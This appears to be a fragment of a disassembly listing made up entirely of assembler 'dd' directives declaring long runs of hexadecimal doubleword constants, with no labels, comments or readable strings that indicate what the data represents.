		dd 4DD80171h, 0FEDF88E0h, 0B8D440EBh, 641C450Dh, 9F980524h
		dd 30A3CEB0h, 53481CC1h, 77006618h, 0D55BA4EBh,	343D29h
		dd 0BC54EC05h, 617F0F25h, 0A9FBC71Ch, 8388EC5h,	1DD08BC0h
		dd 4B763B92h, 0A1EDC300h, 0EAAE69FBh, 8AC7B800h, 781FE56Ch
		dd 43793Bh, 70F6D57Dh, 55B9A1E8h, 0DA5BA700h, 0FFB1F373h
		dd 1FF71E8Fh, 0C55AC00Ch, 36E81784h, 46225100h,	9A3B2A01h
		dd 0ECDE00ABh, 0EB49F69h, 26002B98h, 0F5ADF2CFh, 384921h
		dd 4D4E3D5Ah, 8C89B688h, 2C49A00h, 0B83CC76Ah, 586E28ADh
		dd 3A7E7A88h, 90507184h, 1E8129Bh, 0E51C8087h, 0DD702969h
		dd 9BBA11C0h, 45720Fh, 352E015Fh, 1AA771D2h, 161FD714h
		dd 5E6D03CCh, 0F128E850h, 12C8C497h, 3FE678F0h,	0F6A5DBh
		dd 4C59220h, 0B9F446DFh, 0E1952F03h, 800BA622h,	3D441A1Ch
		dd 1580D393h, 0E96BDD4Fh, 9D00CA6Dh, 91FD42E1h,	30023A92h
		dd 0B4E03B2Eh, 0A5006014h, 0BC9B2BDBh, 59A6CDh,	19153C3Dh
		dd 6781E29h, 7DB36D00h
		dd 5624BF7Ch, 596E0163h, 826FA197h, 8D7870ECh, 3AF94A00h
		dd 623E8B77h, 0D65014Dh, 9B0528D1h, 234CCCD9h, 450A7209h
		dd 7ECA016Ch, 0D880061Bh, 3ADAAA3Bh, 9615C264h,	30A86965h
		dd 0E36D6070h, 41350EBEh, 8B80CADCh, 7CCBB87Dh,	51CE631Fh
		dd 58064EC0h, 364D836h,	1B9A5620h, 0E02622F5h, 0BF002DD3h
		dd 0FB3855CCh, 16B4B86h, 3042021Ch, 5385FCE7h, 0BF130400h
		dd 0B822BD59h, 338A0F68h, 93C2C4A7h, 0E440805Dh, 1209AC05h
		dd 80907B28h, 25110B6Ch, 7D075C3h, 66E45214h, 0D712B1A4h
		dd 2F06FCADh, 2498BCEAh, 0FD7D4900h, 8CAAC0EFh,	0F99E1545h
		dd 0BC1FA0CDh, 402F12B0h, 9AE94414h, 11013643h,	45DD994Ah
		dd 0EA30A216h, 8AF70086h, 98AA2C93h, 91090AF6h,	0C0FFA6A7h
		dd 1FDBCD48h, 25B2299h,	0C6665F20h, 6E4BC468h, 9CA09600h
		dd 54E95E2h, 973E7h, 4773B80Bh,	1A9E6A7Dh, 6C2DDB24h, 0EBD15A03h
		dd 24D6A1E6h, 6FCAFC4h,	0FF0B61D0h, 9200A82Eh, 139CB083h
		dd 6AE4ADAh, 0DE2F0F6Ah, 7F00C93Ah, 620D0BC8h, 90405634h
		dd 0DE2C187Ch, 0B4B9213Bh, 9B371800h, 336EE40Ah, 1CFE411h
		dd 9F8CBEEDh, 64F5E0ACh, 4C09933Ch, 0C0AFE9B2h,	7F3FA90Ch
		dd 0B9160E81h, 0A4941C06h, 402CBB15h, 3F64990Eh, 221D8075h
		dd 0A0D4C757h, 2604D0ACh, 4A00211Eh, 2CF1F58Bh,	0B24D3A6Ch
		dd 75BF1F60h, 0BB80C560h, 0EB008064h, 100EE06Fh, 0A0D59502h
		dd 4EB9365Dh, 7548002Ah, 34D15218h, 0A5015BBCh,	0A371DA74h
		dd 0FC28D2F6h, 0F5183081h, 0A2E1E8D8h, 50A38500h, 1BF05D86h
		dd 0DCFD00D7h, 0FCE2A529h, 351F8CBCh, 0A1806EF3h, 7CDB8327h
		dd 0E50400C4h, 0CD0D3163h, 0DDFA3F1Eh, 0EF119900h, 0CAF989D8h
		dd 489C00ABh, 83C1D0DEh, 5500ACF4h, 85E2FBC0h, 1D7062h
		dd 73661659h, 4C8908F7h, 61B1DC00h, 0BB1E8607h,	68D4005Ch
		dd 919AC29h, 0C4794431h, 0FBF4E104h, 28E0F28Eh,	35CF61Bh
		dd 6741DB8Dh, 20A0D34Ch, 1C0152EBh, 0DF094A02h,	0A2804964h
		dd 0E2F3B347h, 0FE6034Dh, 4828AE30h, 3021B832h,	0F511B659h
		dd 0D100DD02h, 0FDDF349Ch, 13876EC3h, 0AB8CAh, 0F9B2FEE7h
		dd 6B011CEFh, 543B0EADh, 8AFC7365h, 4E79009Ah, 0D0504119h
		dd 0E3C150Dh, 807E3E02h, 0F21D2C0Bh, 0F4EB353h,	0CD9E7BDCh
		dd 8E640C0h, 641C927Fh,	0D8401118h, 76E8E2A1h, 23170044h
		dd 2021EF24h, 9F0B87B1h, 59F06Ch, 67EA1B14h, 0A2730019h
		dd 0C7EB5BEFh, 5D06D608h, 29755953h, 3B9ECD0h, 9A014426h
		dd 809DC147h, 0B65AAE4Fh, 192F0D30h, 6EA63B8h, 42CA418Dh
		dd 0B50EE1FEh, 80DCB3A4h, 5E4A2703h, 8B1700D1h,	0C7859631h
		dd 7A02ACCAh, 0B3AAB458h, 0E4FCC867h, 6D77ABh, 5727F040h
		dd 61B64D24h, 1A2ADD7Fh, 4600E0B2h, 0AFB86D94h,	1A3C871h
		dd 0D8FBC58Bh, 0DC8547D3h, 0EE0BA90Bh, 80903731h, 1E622CD8h
		dd 45730591h, 8092A2A8h, 2EC68D86h, 95510C07h, 6BB0DE36h
		dd 0EB83A87h, 2DAACA45h, 80398B85h, 28D45AF8h, 2C209F0Eh
		dd 1F650002h, 0EB21D9h,	86D06333h, 9508B118h, 0B5E89605h
		dd 7A804502h, 0F0703B5Fh, 82FF039Fh, 0CB29F862h, 55D080F4h
		dd 0D0EBD76h, 0A3EEA8EAh, 0C893752Ch, 980BB8B2h, 0B1C22C6Ch
		dd 509D98D0h, 0A6134C41h, 900409Ch, 254AB78Ah, 292100BFh
		dd 0EC1B8587h, 9326720Eh, 0E102385Ah, 6CB53CCBh, 0ABBA0828h
		dd 778961F2h, 0B9960049h, 0E71286h, 0D2B5A679h,	1527FD9h
		dd 44899900h, 0BEB642A5h, 728B1397h, 9E304030h,	0D8AEB4F4h
		dd 0E5996901h, 9620E8C1h, 9328B092h, 0C9D8BB38h, 6100DE4Eh
		dd 0F725D9C2h, 3BBEE211h, 0C8FFAADh, 81F2F37Ah,	605267F4h
		dd 0C0C3D79Dh, 466F08h,	0BFB27021h, 0C5A85AE3h,	0C11680C0h
		dd 2499F551h, 2184CBh, 97D3DF18h, 700041D4h, 0B791B19Ch
		dd 1BD1206h, 4BD98B80h,	0CB3AE1E5h, 2776000h, 0F89DF2C3h
		dd 7BF1030Fh, 32F950F0h, 366FA588h, 0C085F62Ch,	0FB7D8F3Eh
		dd 0A3801D6Ch, 37E2A0C1h, 0D67F1596h, 6008855h,	0D5026DC3h
		dd 75542EDAh, 0FB03CBB8h, 580F6BEAh, 0C78BA8h, 3E282519h
		dd 543351BAh, 0F9644700h, 0C7ADA809h, 45EF007Bh, 5712312Dh
		dd 20B2C8BFh, 1C4E5E03h, 882C0139h, 0AB04B7h, 0C64A1496h
		dd 494B7FFAh, 8D48E805h, 86805788h, 0FDEC28h, 456C8177h
		dd 5018AEFEh, 0E0AD2400h, 0A98C7EF4h, 0F09300E8h, 0EF6D9BDFh
		dd 9400512Fh, 4C261534h, 390E33D1h, 3203A55Eh, 0F8390C4Ah
		dd 0ED0F48C8h, 2D4B6200h, 0BA4D1B7Bh, 4790111h,	72DE4AA4h
		dd 0AC1FD863h, 6C389800h, 0A818ED0Dh, 44B7043Ch, 8207919Ch
		dd 704055A4h, 154031Bh,	0E300318Ch, 0AA1E612Bh,	12C0E00Ch
		dd 20B2F5ADh, 9FB16B34h, 0E5009B76h, 165D3062h,	18EB24h
		dd 1DF0A6DCh, 0F5A470E2h, 0E4C3E800h, 3CDD52A7h, 0E94F012Bh
		dd 0F676B6C9h, 0EAA840E3h, 8600CED8h, 8175F3A4h, 5C4E2E26h
		dd 20E1CBFh, 0EC4F4A1Ah, 5FC03460h, 0B400400Eh,	0B9371BEBh
		dd 0EC250F58h, 4E9B0150h, 5CC2F49Fh, 84785Bh, 43AFC9A0h
		dd 1E98CEDh, 0DFEA763h,	311CC8E0h, 4F90DBF6h, 9D00BC0Bh
		dd 9125DF71h, 2453AE92h, 8028380Ah, 0A7017EE6h,	9C5482B3h
		dd 58003BD4h, 19BE6B33h, 0C0DC8102h, 55EB0CC8h,	67008FD7h
		dd 83C1BE8h, 1B66D97h, 19B50950h, 0C0F7AC7Ah, 3200CADDh
		dd 280A3736h, 14F1B78h,	5D1870C9h, 0D88FD43Ch, 0E9014558h
		dd 0E8B898D8h, 4681DF3h, 48D6C30Fh, 0B7ED100h, 0EE0219F8h
		dd 0BFE678BBh, 2B6A602Fh, 0D38E000Eh, 0FF97D24Eh, 0E800B68Bh
		dd 0C0ED1E0Fh, 30B5BFB7h, 0AD38332Ah, 8E004421h, 7E090C5h
		dd 0BA924Ah, 2D6DFAC9h,	1CBE24D9h, 1BA7C7A0h, 138E7C00h
		dd 69EA1A3Fh, 251401D6h, 662941EEh, 818DC03Ch, 94013C9Ah
		dd 0D836AC82h, 58747280h, 0CBD43EC6h, 1F259303h, 0E6DE5DF4h
		dd 11008C79h, 0D9EB9978h, 0F4E8BE97h, 5B6B00ACh, 45AFF0A9h
		dd 0F70038BAh, 0D6393DBBh, 0B070DCDFh, 52574829h, 1776BE00h
		dd 46EF4453h, 74B9A600h, 99813202h, 0B709005Ch,	0EACCD98Eh
		dd 0A60244CDh, 5EF5528Fh, 0F4E055EFh, 0F400234Dh, 0BAB3B740h
		dd 21927Dh, 1341A184h, 9A664625h, 0B1E1520Eh, 5F8809Ch
		dd 0A71F48h, 0D1B51289h, 0AA698542h, 2AE6A000h,	0FA58741Eh
		dd 0CAD0008Dh, 7025C890h, 37F27D65h, 76EB2801h,	82C55E5Fh
		dd 0C6EE0EAh, 88540021h, 6C835392h, 0FE90C1D6h,	0F3819800h
		dd 55A6108Ah, 0C29F009Ch, 52584135h, 942E7B0Eh,	0D3168526h
		dd 4D4FC000h, 592716h, 0C4A5C9D1h, 0E4424191h, 40A78633h
		dd 0A04FBF10h, 0D1AB11D4h, 0EC990034h, 8F1CC765h, 7BE04A88h
		dd 30B88212h, 5A276300h, 9098BDCFh, 4B9F00ECh, 0ED2D75F2h
		dd 0B9090193h, 0C952B4h, 660E76D4h, 127B001Eh, 0D2634C28h
		dd 27F8187Dh, 6C452B00h, 0DD8E7ED3h, 7AEA0077h,	7DD06D7Fh
		dd 0D8037517h, 0F75AE86Ah, 0DF180278h, 0FEC8BA43h, 4936D440h
		dd 87645358h, 0D2500B04h, 66E1403h, 1793E1C7h, 51FF430h
		dd 0F4013AB7h, 0C13668AFh, 16FC8270h, 3063E3h, 0FB24C353h
		dd 0C000DEB4h, 0C578FE36h, 658469h, 0F542E5BCh,	90EBAF1Eh
		dd 0C63C1898h, 9B5F8095h, 0EBCBE61h, 190600DAh,	0A28F96CFh
		dd 2F002667h, 0BBC6A19Ch, 39FB4B0h, 7DE045E2h, 57D07321h
		dd 0AD005B05h, 0BEBDAE66h, 2E7E323Fh, 13FB6Ah, 0CE92457Bh
		dd 0FC00449Ah
		dd 25947431h, 51BD7Eh, 50E42052h, 0BC1C2F28h, 80EDAE06h
		dd 119FF0h, 8F51D11Eh, 977AE8D4h, 4201F6F4h, 0D814EE90h
		dd 0F5E0EA7Eh, 0D320FDEh, 0A260EFF0h, 0D9A196C6h, 0EB2C360Eh
		dd 499AC00Fh, 9BC1A9Fh,	26B5F7C8h, 0CF33C100h, 83E00B1Ch
		dd 2C065816h, 54E510C0h, 1D949463h, 1FA0B96Ch, 60157400h
		dd 9FAA2F44h, 39960075h, 0CDE30A86h, 14BAE7B5h,	0E0F7158h
		dd 270660C7h, 0DE67598Ch, 4F684410h, 84E076h, 0F69B9435h
		dd 0F64400Ch, 42073190h, 3DA50A11h, 0D865B3E0h,	0B00400D2h
		dd 6092ADF5h, 6600783Ch, 41D721E8h, 0FB5157h, 0A63B853Eh
		dd 0BC892663h, 0F37F10Eh, 0E9694049h, 18FB170Eh, 0D84AEAF7h
		dd 23CD9CFh, 7B760057h,	0EF7DAC71h, 0B1E03C5Dh,	84AD7000h
		dd 0A214E14h, 0A7103Ch,	0FC3B07C6h, 0DA6F797h, 49E671AAh
		dd 0D6046010h, 62B62901h, 0DEEDB283h, 0C84B5896h, 0E100DA9Ch
		dd 41FC2491h, 0BA6C5B7Bh, 0D0F207B4h, 41CA4A4Ch, 8F05B0DCh
		dd 8A1CA331h, 0F981A46Fh, 149A2AAAh, 24A4D0DAh,	403CA0E2h
		dd 0C30C4ED0h, 0B7023200h, 0A7791630h, 17AD0962h, 3840DE41h
		dd 0F1009663h, 0B3E05CBAh, 4B2068h, 0B7D1469Ch,	0ECB9FD08h
		dd 0BF10B600h, 0BD7DFBF0h, 0CA8A082h, 22F71C7Eh, 2FA889FAh
		dd 9F0C0055h, 7B49759h,	55DFED75h, 0C06D95A0h, 8F71F30Eh
		dd 0E69E9400h, 10FC8077h, 4C0A70CEh, 7D3E44h, 0FE76C450h
		dd 8F682745h, 2C5B23Ch,	0CBBAC6FDh, 795CC06Dh, 0C05E4ADCh
		dd 785580ACh, 3FC1960Bh, 22820B0h, 26AB46h, 9FFA3130h
		dd 6F59EE6Ah, 7C122226h, 0AFA61B00h, 0D3428Dh, 18348CE5h
		dd 7F3D4EC6h, 8FD0102h,	58106659h, 80285C28h, 0C7633200h
		dd 0BFB6D5CCh, 0A0EE240Ch, 769E860h, 5105C671h,	628B41A3h
		dd 6090711Ch, 69DCBF79h, 0CC30F583h, 2BB1F0CDh,	0A2ECC4h
		dd 0E2974D87h, 3E894695h, 48D86F1Ch, 395F7A40h,	25666Ah
		dd 2E4C8498h, 8C8D2D35h, 0D7503Bh, 2C1522B7h, 0F5AC4B9h
		dd 875FC36Dh, 8E8CEF40h, 2001B837h, 92495B7Eh, 1C602F31h
		dd 0E7DE00F4h, 0B017FF89h, 0FB124BB9h, 0F082556Dh, 981AC030h
		dd 3A86004Dh, 0DB5C16CDh, 3813E884h, 9800332Ch,	5E92B18Eh
		dd 0A7480077h, 88C7C51Ch, 8A78A56Bh, 0FCA083Ch,	0A08BA294h
		dd 0D046EE4h, 0EE5D00EDh, 0DE3A4873h, 247F98D7h, 0A8858600h
		dd 80E9D3F2h, 9CA4A06Ch, 0C06BF7BDh, 4CF5F70Ah,	0F98BB00Fh
		dd 0CEF6A380h, 0F894B83Fh, 0F7F200B6h, 0E65EBDBCh, 61012CA8h
		dd 41B81DFCh, 1083AA01h, 0F3D26EFBh, 0C218879Ch, 98587574h
		dd 0D1008D77h, 2310023Ch, 880407h, 844D378Ch, 617E5C4Fh
		dd 6340281Eh, 5EBC807Eh, 0FFCFB2EEh, 95B0070h, 0C5E5BE75h
		dd 5207D8C0h, 0D040729Dh, 1D6DAC30h, 0CF79005Eh, 0DFAAF7D3h
		dd 0B203F5B6h, 0E6348E90h, 0EA33E8B0h, 0BE97EE1h, 651E0DFAh
		dd 0D341FC00h, 9C0A46E4h, 8692BF4Ch, 8E4ADD00h,	35473CCh
		dd 0AA3C30FAh, 29048F1Dh, 0C0367A18h, 0BEB4F0h,	3CE9A44Ah
		dd 8F8335E8h, 0C045F4Ch, 0C4F6877Bh, 0D6E0035Bh, 0BA1CF968h
		dd 0E4A78E0Eh, 0EBFD0069h, 0F8650462h, 4892FE79h, 5B13C226h
		dd 2150019h, 0EAB44024h, 23B3D809h, 9664818Ah, 0F0300B11h
		dd 4D487E84h, 663C24F4h, 0D2AF2B00h, 0F9E543B4h, 0DC8019DDh
		dd 60060E03h, 6C1139A8h, 30C83600h, 0AE252A7Fh,	6E5C9516h
		dd 5084C400h, 1627B8h, 0EA1E8758h, 83063282h, 1825AB00h
		dd 0C35AC7DAh, 355700B4h, 9ECD93B8h, 960053ECh,	0BD5D237Fh
		dd 58CBF655h, 0F0B60DBh, 75000350h, 2AD50D7Ah, 0EFD0C403h
		dd 0D0BC0821h, 1FE54BEh, 48901D71h, 0C0A6CE19h,	9C7CB4CFh
		dd 850392B0h, 8AEFF431h, 20ABB840h, 507B1E58h, 3875C0DAh
		dd 0C5BED8E6h, 72007CB8h, 0FD89FA4Ah, 0BCE8577h, 0A3F03FCFh
		dd 70843387h, 8AD548C8h, 0F12BA10Bh, 6930220Eh,	0F6340EBh
		dd 0D35E0078h, 0DA399383h, 0BC2E8E37h, 3A017CFBh, 493FBF2Dh
		dd 0A00442Ch, 6532D7A7h, 664C79FCh, 487B0F8Eh, 1440569Dh
		dd 711505D0h, 96E4002Fh, 0DE519A7Dh, 523D925Ch,	98FA8908h
		dd 0D9A180EEh, 0B2B1C0h, 0B70BC6FBh, 0FAF59409h, 94EA1A35h
		dd 28295300h, 4CFBC0FFh, 800964B1h, 74E04C5Ch, 0BA014183h
		dd 408E0F31h, 0C8EFDF92h, 87E4C3h, 62FEBC4Eh, 0FA9ECEB1h
		dd 0CBB76F1Eh, 10827C40h, 14CC02EEh, 0A0C45EE2h, 0F37A4F0Fh
		dd 3C00275Fh, 7C61CD80h, 0F0B32300h, 1F9AAEF9h,	27AF00C0h
		dd 552A1491h, 6900618Ah, 60F34783h, 3CC231Ch, 0B44C94FDh
		dd 11E0270Dh, 80002DE7h, 0B12BF401h, 3EC61CD4h,	0FB80F770h
		dd 0E2DF8789h, 5B75CD3Ch, 89D3D638h, 505EB47Eh,	0FE2A40D4h
		dd 98004E98h, 78A0FECh,	6ACEFAh, 1C56E8F8h, 0DA339EB2h
		dd 0EF4FC0Fh, 0CEF0E029h, 0D506BEh, 3AEF6DC7h, 0A44080ADh
		dd 0E013527h, 0C044C07Ch, 9EFE42h, 0E1F89681h, 0FC36A725h
		dd 0A0CF6E24h, 0CA5B4281h, 0F0205633h, 11F60080h, 21F9BFA0h
		dd 61702A34h, 5E6CEA00h, 88858AC6h, 0A08C3E96h,	5BBA1F80h
		dd 6411BCA9h, 2100EEF8h, 8909F603h, 3FA092h, 5D171E12h
		dd 7CC125D4h, 21F5A101h, 33B36FD6h, 0E43C0C0h, 95321BB5h
		dd 0F22340B8h, 7CE13B00h, 81A2FBFAh, 810B4A03h,	0DF56472Ch
		dd 21E24EA8h, 0F52C5478h, 0C000F48Ah, 0AD5E0C0Fh, 0FAC61D26h
		dd 7FA4C956h, 2B81B480h, 21003C57h, 0BF7755FFh,	3ACD9CACh
		dd 178A8626h, 18471A1h,	0ED782C0Ah, 801180E6h, 0A187297Eh
		dd 747900DCh, 0B44E4C51h, 2007D91h, 21EC1A6Ah, 5B909F1h
		dd 68CFDA4Ah, 0A3C8E45Fh, 0B100C742h, 0F5D4988Dh, 50F02880h
		dd 0AE2CE800h, 0B884C9B3h, 0BB4E079Ch, 7C887983h, 0A101F638h
		dd 0DCA78ED8h, 0F1D4B580h, 63F41E62h, 9EF4089h,	6727B93Ch
		dd 8DFAF800h, 5E1F5424h, 406800B0h, 0D91110DFh,	0DA4CF374h
		dd 0FDC71C7Ch, 0FCB57280h, 3A581897h, 46003676h, 0A4BEBB8Ah
		dd 60129ED5h, 0C01D77DAh, 7D33C49h, 0DE8013F0h,	0B2A51Dh
		dd 0D0BBA62Bh, 8DAA9C56h, 8C481079h, 2CB00078h,	0E86B8711h
		dd 0D5E900AFh, 347D823Ah, 3704AD0Fh, 0C3E77131h, 0A0BF9480h
		dd 0BC1D005Bh, 97A99DF3h, 0AFF0C620h, 757C5A00h, 8147FE8Dh
		dd 0EECF18FAh, 56F90E6h, 0B9025CB8h, 80932BD9h,	51FC8264h
		dd 0F8E0FD97h, 0A10027F2h, 9AB9F515h, 44923CBh,	6F7DCA5Ch
		dd 0F8E4803Ch, 61E3D71Bh, 7CF000DCh, 7EE66B16h,	0D201D5E2h
		dd 9B7A7622h, 0A0403542h, 0E2CDBFECh, 3E962436h, 6B7E00BCh
		dd 6E1FB8EDh, 2A669E0Bh, 9DA40042h, 0C067E28Dh,	65758148h
		dd 3D241E6Ch, 7700B425h, 0FA9D8F30h, 127B0EFDh,	6F202074h
		dd 0ACE1B3F6h, 98444E0Fh, 0F5FEE0BFh, 4C08763h,	20244BABh
		dd 74B6FBh, 3D52B789h, 0B3E2C7h, 616C87C1h, 0E017CDBEh
		dd 9280C01Fh, 0DCB73140h, 0EF5751h, 794136D3h, 0F1575D6h
		dd 0E9FBC100h, 68BC1C4Eh, 0D7D20056h, 0DC12D1FEh, 0D409A485h
		dd 83A582FAh, 14EF88h, 0FF606E28h, 0D1317523h, 62AC881Eh
		dd 0CA1B65C3h, 0D34780B6h, 1F8CF240h, 80781625h, 22A18D87h
		dd 55865C7h, 0FD2D07CCh, 9829AB0h, 9FC080B4h, 0F7B821h
		dd 0C1283197h, 83A50A4h, 7D5E1C00h, 847C4272h, 581A0029h
		dd 20C12354h, 6203522Fh, 73980209h, 971590F5h, 0FE8C90E6h
		dd 0B5450472h, 0C0254D96h, 5103E3F0h, 0BD62C401h, 0B49C24BFh
		dd 680CC20h, 26CB0B6Ah
		dd 0D3002819h, 4157EC6Dh, 25D03F64h, 0F0E10C3Ch, 0D42C5Dh
		dd 0C19D1F02h, 2F5A5AFh, 44B73B30h, 68608C5Bh, 6DFC5570h
		dd 3822B403h, 0EF3143A7h, 950E39B0h, 50C1D73h, 0B8570248h
		dd 0C85876C5h, 4BC42600h, 8E4E75F9h, 0AC8238D3h, 70AD0200h
		dd 53FF096h, 0CC60DE60h, 3FEEAE7Ch, 1804EB50h, 0C0086A1Ah
		dd 54B1DB74h, 0CA446800h, 0C22BC7DDh, 6BFB0028h, 0A06CD933h
		dd 0EC601F35h, 67F10CE4h, 7ACB82Ch, 42D2CCFAh, 32E1E014h
		dd 0CEE46F78h, 8351CD07h, 355074BEh, 2F9AC093h,	509873F3h
		dd 50889617h, 46821672h, 53A840BDh, 45AE5232h, 7CEA5F0Fh
		dd 37926086h, 859CA6h, 3F091ADDh, 0F46C21E4h, 0E3D78E6h
		dd 7C6880F2h, 0E91FBF85h, 454C1AB3h, 24D8A966h,	131FD378h
		dd 0C6C0D8B5h, 90B1B8A1h, 8992ABFh, 2F4225D4h, 0BE008465h
		dd 206D0CF4h, 5C74FB45h, 19AA26E5h, 80CE9D47h, 0B381651Dh
		dd 0AC0ECCDAh, 0E0F2847Ah, 80D66A07h, 0A0D0488Bh, 1A4218Ah
		dd 48788194h, 750C20EDh, 7EB69000h, 24C2C898h, 0E0BB4C3Eh
		dd 3300C43Eh, 85F9F5E2h, 0DF004470h, 517CDB6Ah,	0F5C5FEF4h
		dd 2AB37D8h, 0FD452E68h, 80C09E95h, 5F00170Bh, 82EF4192h
		dd 39C0E254h, 658022A8h, 7EFB4979h, 0CE720632h,	0C8F84D00h
		dd 0A7478B3Ah, 7BF3242Ch, 0FC710018h, 0D842D033h, 0CD0C10C7h
		dd 72DCFBA1h, 0E9B0216Ah, 8547CCCAh, 8C92B200h,	688E4CFAh
		dd 2E3490FEh, 3D7FB27h,	5C9A064Bh, 23F192B0h, 0E4877200h
		dd 0C98EB94Dh, 0DE5ED2h, 5BB5C48h, 0CF012A30h, 20BF1B60h
		dd 7EE593DAh, 2103C30h,	0CBA04243h, 0C860A54Ch,	391801DEh
		dd 0D4207D69h, 63BD00E2h, 0F95172ABh, 4C062337h, 0BE394644h
		dd 0B5C20430h, 0A856AA90h, 99C80E90h, 5392B9h, 6BD4C4A5h
		dd 0D5F444h, 0AB77872Eh, 2BF212EAh, 810096E0h, 4ACF5CCAh
		dd 150BF23h, 859E270Ch,	0ECAF481Bh, 6303A9E8h, 0BC1A6C80h
		dd 89B6E03Bh, 7DCB0C47h, 0F1198BC1h, 3A5D0300h,	4F8A54ACh
		dd 1BB018D2h, 900E11F5h, 6FDC4400h, 1FCF119Bh, 4E709Eh
		dd 0EDACB6BFh, 2A99DB6Ch, 7908C700h, 38EC1269h,	31FC02DEh
		dd 0CCD43EF8h, 0EC4E62C1h, 1700F1E5h, 481C5B66h, 73BDA471h
		dd 0DF4201CFh, 0C441882Dh, 0E41080C1h, 8A473A86h, 6EFE10h
		dd 55A11D96h, 517143F5h, 0C3989501h, 31162ABDh,	0D14C30h
		dd 0E22E02E8h, 703D1220h, 5DEDE900h, 9FF05394h,	17441ECFh
		dd 9BAD4E27h, 40A5A245h, 8ED76DB8h, 0CD1D3724h,	0F7C0A389h
		dd 9F8FC126h, 0D8F60180h, 35836FE9h, 0DE2C20D9h, 68ED7A25h
		dd 1A73640h, 7033DAA5h,	80FB19A6h, 0C3761419h, 0E756713h
		dd 4F20C23Ch, 0A68B497Eh, 0D3390858h, 0A2510071h, 0D9CDA795h
		dd 7BEA0597h, 0C1065B64h, 20F828CCh, 3F002EB8h,	5AAEBDF0h
		dd 1209C0h, 26788050h, 3667BED3h, 750ACC02h, 4BC7EC51h
		dd 2EBFC028h, 456B25EAh, 7BCF14B8h, 0ECD64726h,	6EBD2500h
		dd 1CE6B12Ch, 0C34393DCh, 3EA27049h, 0F89660E8h, 1BFB700h
		dd 0B371DDFEh, 0AB1F006Dh, 6321E873h, 59486BA6h, 0E5FA00DDh
		dd 2F5A24DCh, 0EEA802DBh, 223F84E0h, 866CFCC0h,	0A727BC90h
		dd 9BE06098h, 0F89C97B2h, 77D17A00h, 5BD73D84h,	0D9A8A09Dh
		dd 1BFA0E3Ch, 0FDA0E299h, 6FF09294h, 9CE58D00h,	0BF45C335h
		dd 9EE107F6h, 80CC0805h, 8A6E1929h, 0EED9909h, 26A8D054h
		dd 3E5DC316h, 618A283Ch, 80E8DDh, 6EBA2FF9h, 90071D35h
		dd 0C2645A0Ch, 904C80C3h, 12C43181h, 8A3C5DDh, 0D781FE00h
		dd 6D2CA9A0h, 0B9F4283Ah, 72997007h, 3E439550h,	0A415A0F2h
		dd 0BBE726F7h, 0A61D0042h, 66E36701h, 0CE3A29E0h, 0E60C80ECh
		dd 0A5029C47h, 62D4003Ah, 8FB415E3h, 0C21E8743h, 9C7FABF7h
		dd 0C4C00A69h, 6E3C98E7h, 0DE430059h, 0B1311A0h, 18AC9BA8h
		dd 0D97B1A00h, 4FF3D12Fh, 0F1470049h, 54DECB15h, 64001478h
		dd 0C04A3DCFh, 0AC10ECh, 0F58FD40h, 1EDC9C59h, 0BBD7FB1Ah
		dd 0E8E1C071h, 0B0656032h, 6B61A5B5h, 0D17F6F72h, 8BFDAF00h
		dd 561964C4h, 4FDB0070h, 6290B8CDh, 33000EE7h, 3245DDDEh
		dd 0A3A098h, 73A9BC5Bh,	0CAB127D7h, 0CDF48D02h,	0E003E5D8h
		dd 6A50BDh, 0E4EFBC36h,	97E8A4A9h, 2A646500h, 42551D1h
		dd 0E07B000Fh, 0CF37368Ch, 452C10B5h, 0AA00ECD2h, 626FE714h
		dd 0B0300311h, 0EA202B69h, 6A0170E6h, 14C3E286h, 61DEEB25h
		dd 44CC7609h, 7FA87B92h, 0C45707B2h, 0F3A7018Fh, 0AAB04EC8h
		dd 730EC57Dh, 0C0F3B3B7h, 0AE891418h, 0FEDB006Dh, 0C3C7E7E5h
		dd 0A500C516h, 37054ACBh, 0CC428Dh, 0D7759738h,	814649Eh
		dd 0E92FDE00h, 980EB17h, 0B6C40081h, 12A19B84h,	96E2F846h
		dd 454330C1h, 61804C8Dh, 5CB37722h, 0B400CA83h,	0E715D63h
		dd 0F4C14Fh, 61599212h,	55BA3DE7h, 326DAA00h, 9E73D411h
		dd 7FEF0769h, 0A163492Bh, 0C8FC1599h, 0B901131Eh, 0FF6446AEh
		dd 40FEC540h, 0B12F1Ah,	758D9BD0h, 0CB4FC708h, 5200F27Ah
		dd 5132BFC9h, 14A9BAFAh, 0D4C4EF9Ah, 0A1494202h, 74413920h
		dd 62BBEC8Fh, 0F50C3D02h, 0C07D55A7h, 441FA7Dh,	869C97F8h
		dd 6F728042h, 8EA706Ch,	6B53D000h, 0BBB85CD8h, 82910274h
		dd 0AEDB9831h, 0D7477EC0h, 3772E200h, 0AA346A86h, 161E00FBh
		dd 23015CCBh, 1F60A365h, 0D4C43D10h, 370300A4h,	64C9E56Eh
		dd 4B3F8474h, 4A510090h, 0E3B29967h, 222B003Eh,	0B0568834h
		dd 5000F253h, 0E4EA545Ch, 0BE63D4h, 0FE777F5h, 0CF6C7FE2h
		dd 8983B00h, 0A1FB3744h, 7C275CE0h, 0B10CB707h,	7FE769h
		dd 0F01CA666h, 0B93FE500h, 484C8454h, 5CE700FBh, 0EC02129Ch
		dd 87007F6Ah, 39E0C99Eh, 7FF676CCh, 0EBAF0EFh, 0DBE7806Fh
		dd 0DCB6980h, 0A71E44AFh, 26006E6Dh, 28AD78BAh,	5091B4h
		dd 44305941h, 4E03DEF2h, 0B9528156h, 0C39323h, 809CFA68h
		dd 67C065BDh, 917B1100h, 4412156Dh, 322A1DC2h, 0C64FCh
		dd 0F7183F87h, 9E00744Dh, 2B0CEFA9h, 0E74B1Dh, 3354D890h
		dd 650DF62Ah, 7C1E3B00h, 0EC4A7DDDh, 3D4D03CDh,	386AF861h
		dd 8036103Dh, 9B12662Ch, 0A049D6h, 5D4FFA7Dh, 7AB3EF9Fh
		dd 80D1F638h, 1BE77253h, 98CEEAh, 2657C613h, 0E9EBEEADh
		dd 1E87100h, 63E485A3h,	0CE7939D2h, 6B19FC01h, 401015C4h
		dd 0EF4A0AF0h, 0FF54C0C7h, 0CDB42B93h, 4C3DCF80h, 0D3B530A9h
		dd 0EF0675E0h, 785FA500h, 6944ACEAh, 7AAA484Dh,	9071B700h
		dd 3B595443h, 0C8E64600h, 3D0BEADh, 0E850E9Fh, 1D81387Ah
		dd 0E057555Fh, 0D5003C9Bh, 1228AB4Ah, 2546B9h, 9FFF0186h
		dd 0E069CB10h, 792B730Ch, 7301085h, 0D03BE375h,	0C19D001Ch
